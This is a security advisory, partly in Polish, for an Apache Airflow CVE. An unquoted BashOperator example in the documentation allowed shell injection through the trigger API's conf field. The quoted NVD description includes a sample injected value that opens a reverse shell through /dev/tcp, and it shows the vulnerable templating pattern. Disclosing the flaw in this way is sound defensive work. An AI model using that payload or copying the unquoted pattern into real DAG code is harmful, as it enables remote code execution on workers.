CVE-2026-42252
CriticalCVSS 9.1Summary
Dokumentacja Apache Airflow zawierała przykład użycia `BashOperator` bez ostrzeżenia o konieczności cytowania/sanitizacji, co mogło prowadzić do wstrzyknięcia metacharakterów powłoki. Użytkownicy z uprawnieniami `Dag.can_trigger` mogli wykorzystać ten błąd, aby wykonać złośliwy kod na serwerze roboczym.
Risk Assessment
Organizacje, które wdrożyły kod DAG oparty na niepoprawnym przykładzie z dokumentacji, są narażone na ataki, które mogą prowadzić do zdalnego wykonania kodu. To stwarza poważne zagrożenie dla bezpieczeństwa systemów.
Recommendation
Zaleca się aktualizację do wersji `apache-airflow` 3.2.2 lub nowszej, aby skorzystać z poprawionej dokumentacji oraz uniknąć potencjalnych luk bezpieczeństwa.
Original NVD description (English source)
Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.